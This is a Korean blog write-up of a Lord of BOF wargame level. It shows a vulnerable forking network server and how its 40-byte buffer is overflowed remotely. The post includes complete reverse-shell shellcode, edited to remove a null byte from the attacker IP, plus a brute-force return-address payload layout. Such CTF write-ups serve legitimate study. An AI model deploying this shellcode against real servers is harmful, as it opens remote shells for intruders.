[Preview]
대망의 lob 복기 마지막 문제.. 이전에 풀 땐 귀찮아서 해당 문제를 스킵했었는데 왜 그랬었나 후회가 되는 시점입니다. 뭐 어쨌든 제겐 첫 remote exploit 문제였습니다. 지금까지 로컬에서만 문제를 풀어왔는데 remote로 하니 제한적인 부분이 많다는걸 느꼈습니다 ㅋㅋ.. 본래대로라면 리버스쉘코드 하나가지고 쉭쉭 익스해서 풀렸어야 하는데.. 제 내부망 ip대역이 192.168.0.* 대역이라 ip 주소를 넣는데 \x00이 들어가더군요.. 얘 땜에 쉘코드 고쳐서 만드느라 조금 고생했습니다 ㅋㅋㅋ 뭐 쨌든 시작합니다.
[Code & Analysis]
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }
뭐.. 코드가 긴데요. 대충 해석하자면 6666포트로 INADDR_ANY로 소켓 연 다음 fork()로 child process 생성해서 거기서 recv로 클라에서 받아온 값을 버퍼에 저장하는 코드입니다. 근데 버퍼는 40 바이트인데 recv를 256바이트 받아서 bof가 터진다는 직관적인 코드입니다. 일단 remote로 input값을 넣어야하고, child process에서 buffer에 값을 넣기 때문에 단순 쉘코드만 넣어선 그 결과를 볼 수가 없습니다. 때문에 리버스쉘을 통해 제 쉘과 연결하여 interactive하게 동작하게끔 해야하는 상황입니다.
[Exploit]
이미 제가 필요한 것은 누군가가 해 놓았습니다.
https://www.exploit-db.com/exploits/25497/
exploit-db에 2013년에 올라온 쉘코드인데요, 쉘코드에서 설정된 ip와 포트로 리버스쉘(/bin/sh)을 연결하는 쉘코드입니다.
근데 preview에서 말했듯이 제 ip는 192.168.0.* 대역이었습니다.
하... 쉘코드 중간에 보면 ip 주소를 넣는 부분이 있습니다.
804807f: 68 c0 a8 01 0a push 0xa01a8c0
문제의 지점...ㅋㅋㅋ
쉘코드에 널바이트가 삽입되면 해당 부분까지만 쉘코드를 인식하기 때문에 정상적으로 익스플로잇 되지 않습니다. 때문에 해당 부분 쉘코드를 수정해서 삽입하기로 마음먹었습니다..!!!!!
일단 쉘코드부터 보면..
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x66\xBA\x01\x86\x80\xEA\x01\xC1\xE2\x10\x66\x81\xC2\xC0\xA8\x52\x31\xD2\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80
1f부분부터 제가 변경한 쉘코드인데요. 간단히 설명하면 본래 제 ip를 hex로 변환하면 0xc0a80086 입니다만, 0xc0a80186에서 0x100을 빼서 널바이트를 제거하는 것이 목적이었습니다. 근데.. 제가 무지해서 그런지 이 부분에서 삽질을 좀 했습니다.
본래 코드는 'push 0xc0a80086' 이런식으로 진행됐었죠? 근데 저는 연산을 하기 위해 해당 쉘코드에서 사용하지 않는 레지스터 $edx를 이용하여 연산 후 push $edx로 argument를 세팅해 주었었습니다. 근데 아뿔싸... push 0xc0a80086 으로 넣으면 자동으로 메모리에 엔디안을 적용하여 삽입되는데, 레지스터의 값을 push 해주면 엔디안이 적용되지 않고 삽입이 되더군요.
이 내용을 몰라 왜 안되지? 하며 여러번 시도하다가 디버깅 후에 알게되었습니다.. 뭔가 이상하면 첨부터 디버깅을 합시다 흑흑
뭐 어쨌든 그래서 처음부터 엔디안을 적용하여 0x8600a8c0 을 세팅하고(4바이트 레지스터에 값을 넣으면 자동으로 널바이트가 삽입되어 dx, dl을 활용하고 쉬프트 연산을 통해 값을 세팅하였습니다) 이를 스택에 넣는것으로 쉘코드를 재구성하였습니다.
이제 리버스쉘코드도 완성되었고 남은것은 진짜 익스뿐이네요. 우리는 원격지의 바이너리를 디버깅할 수 없기 때문에 우리가 덮을 ret가 가리킬 쉘코드의 주소를 알 수 없습니다. 때문에 brute forcing을 통해 0xbfffffff부터 아래로 내려가며 ret값을 때려맞춰야 합니다.(아래로 내려가는 이유는.. 그게 더 빨리 찾을 수 있잖아요??)
익스플로잇은 pwntools 이용하여 했습니다.
[dummy(44byte)] [ret(brute forcing)] [nop_sled(44byte)] [shellcode]
이렇게 구성한 후 ret 값을 0xbfffffff부터 16바이트씩 내리면서 브루트포싱하였습니다. (1바이트씩 안내려도 놉슬레드타고 쉘코드가 실행되기 때문)
nc로 31337포트 열어놓고 익스플로잇 코드를 실행시키면..!
flag get!
'System > LOB (Lord of Bof)' 카테고리의 다른 글
lob 17->18 nightmare (0) | 2018.08.18 |
---|